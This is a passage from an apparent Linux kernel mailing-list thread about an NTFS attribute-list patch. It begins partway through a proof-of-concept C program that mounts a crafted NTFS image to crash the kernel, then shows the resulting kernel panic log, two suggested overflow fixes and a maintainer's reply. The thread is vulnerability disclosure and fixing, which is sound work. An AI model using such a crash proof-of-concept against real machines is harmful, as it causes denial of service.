     ret = write(fd, img, IMG_SZ);
     close(fd); free(img);
     if (ret != IMG_SZ) { perror("write"); return 1; }

     mkdir(mnt, 0755);
     system("losetup -d /dev/loop0 2>/dev/null; losetup /dev/loop0 
/tmp/ntfs_poc.img 2>&1");
     sync();
     ret = mount("/dev/loop0", mnt, "ntfs", MS_RDONLY, NULL);
     if (ret < 0) printf("[!] mount: %s\n", strerror(errno));
     umount2(mnt, MNT_FORCE);
     system("losetup -d /dev/loop0 2>/dev/null");
     printf("[+] Done. Check dmesg for 'kernel BUG at 
arch/x86/mm/physaddr.c'\n");
     return 0;
}

## Kernel Splat

Mounting the crafted image on 7.1.0-rc4 with this patch applied (via 
Sashiko):

[  132.232704] kernel BUG at arch/x86/mm/physaddr.c:28!
[  132.232722] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[  132.232768] RIP: 0010:__phys_addr+0x9e/0x100
[  132.232802] RAX: 0000778080000010   RDI: 0000000000000010  <-- 
ZERO_SIZE_PTR
[  132.232884] Call Trace:
[  132.232931]  bdev_rw_virt+0x117/0x210
[  132.233056]  ntfs_bdev_read+0x25d/0x2e0
[  132.233091]  ntfs_read_inode_mount+0x1d07/0x2750
[  132.233144]  ntfs_fill_super+0x2557/0x9960
[  132.233668]  __x64_sys_mount+0x298/0x310
[  132.233679]  do_syscall_64+0x129/0xf80
[  132.233951] Kernel panic - not syncing: Fatal exception

The registers RAX and RDI both contain 0x10 (ZERO_SIZE_PTR), confirming
the overflow → kvzalloc(0) → ZERO_SIZE_PTR → bdev_rw_virt crash path.

## Suggestion

This is a pre-existing issue, but since the patch touches the same
allocation site, fixing it here would prevent an attacker from bypassing
the new validation by triggering the overflow before any entry is
validated.  Two possible fixes:

1. Use 64-bit arithmetic for the round_up:

     ni->attr_list = kvzalloc(round_up((u64)ni->attr_list_size, 
SECTOR_SIZE),
                  GFP_NOFS);

2. Or check for overflow explicitly:

     if (ni->attr_list_size > U32_MAX - SECTOR_SIZE + 1) {
         err = -EINVAL;
         goto put_err_out;
     }
     ni->attr_list = kvzalloc(round_up(ni->attr_list_size, SECTOR_SIZE),
                  GFP_NOFS);

Either approach prevents the overflow without changing the validation
improvements from this patch.

Thanks,
Xiao



^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: [PATCH v4 3/3] ntfs: bound the attribute-list entry in ntfs_read_inode_mount()
  2026-06-11 16:07     ` XIAO WU
@ 2026-06-11 22:02       ` Namjae Jeon
  0 siblings, 0 replies; 7+ messages in thread
From: Namjae Jeon @ 2026-06-11 22:02 UTC (permalink / raw)
  To: XIAO WU; +Cc: Hyunchul Lee, Bryam Vargas, linux-fsdevel, linux-kernel

On Fri, Jun 12, 2026 at 1:07 AM XIAO WU <xiaowu.417@qq.com> wrote:
Hi Xiao,

> ## Suggestion
>
> This is a pre-existing issue, but since the patch touches the same
> allocation site, fixing it here would prevent an attacker from bypassing
> the new validation by triggering the overflow before any entry is
> validated.  Two possible fixes:
>
> 1. Use 64-bit arithmetic for the round_up:
>
>      ni->attr_list = kvzalloc(round_up((u64)ni->attr_list_size,
> SECTOR_SIZE),
>                   GFP_NOFS);
>
> 2. Or check for overflow explicitly:
>
>      if (ni->attr_list_size > U32_MAX - SECTOR_SIZE + 1) {
>          err = -EINVAL;
>          goto put_err_out;
>      }
>      ni->attr_list = kvzalloc(round_up(ni->attr_list_size, SECTOR_SIZE),
>                   GFP_NOFS);
>
> Either approach prevents the overflow without changing the validation
> improvements from this patch.
Could you make your second suggested fix into a patch and send it to
me for your credit?
Thanks for the report.

^ permalink raw reply	[flat|nested] 7+ messages in thread

end of thread, other threads:[~2026-06-11 22:02 UTC | newest]

Thread overview: 7+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-06-08  1:51 [PATCH v4 1/3] ntfs: validate resident attribute lists and harden the validator Bryam Vargas
2026-06-08  1:51 ` [PATCH v4 2/3] ntfs: bound the look-ahead attribute-list entry in ntfs_external_attr_find() Bryam Vargas
2026-06-08  1:51 ` [PATCH v4 3/3] ntfs: bound the attribute-list entry in ntfs_read_inode_mount() Bryam Vargas
2026-06-08  2:01   ` Hyunchul Lee
2026-06-11 16:07     ` XIAO WU
2026-06-11 22:02       ` Namjae Jeon
2026-06-08 14:06 ` [PATCH v4 1/3] ntfs: validate resident attribute lists and harden the validator Namjae Jeon

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

Powered by JetHome